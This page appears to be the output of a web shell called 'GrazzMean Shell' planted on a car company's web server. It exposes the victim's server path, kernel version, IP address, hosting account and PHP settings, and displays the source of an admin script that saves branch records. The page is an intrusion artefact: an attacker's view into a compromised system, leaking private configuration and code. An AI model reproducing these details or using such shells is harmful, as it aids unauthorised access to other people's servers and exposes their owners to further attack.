shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : branch_process.php
<?php
include 'auth.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (empty($_POST['id'])) {
        require_permission('branches_add');
    } else {
        require_permission('branches_edit');
    }
    $id = $_POST['id'];
    $name = $_POST['name'];
    $address = $_POST['address'];
    $phone = $_POST['phone'];
    $lat = $_POST['lat'];
    $lng = $_POST['lng'];

    if (empty($id)) {
        // INSERT
        $sql = "INSERT INTO branches (name, address, phone, lat, lng) VALUES (?, ?, ?, ?, ?)";
        $stmt = $conn->prepare($sql);
        $stmt->bind_param("ssssd", $name, $address, $phone, $lat, $lng);
    } else {
        // UPDATE
        $sql = "UPDATE branches SET name=?, address=?, phone=?, lat=?, lng=? WHERE id=?";
        $stmt = $conn->prepare($sql);
        $stmt->bind_param("ssssdi", $name, $address, $phone, $lat, $lng, $id);
    }

    if ($stmt->execute()) {
        header("Location: branches.php?success=تم حفظ بيانات الفرع بنجاح");
    } else {
        header("Location: branches.php?error=حدث خطأ أثناء حفظ البيانات: " . $stmt->error);
    }

    $stmt->close();
    $conn->close();

} else {
    header("Location: branches.php");
    exit();
}
?>
© 2026 GrazzMean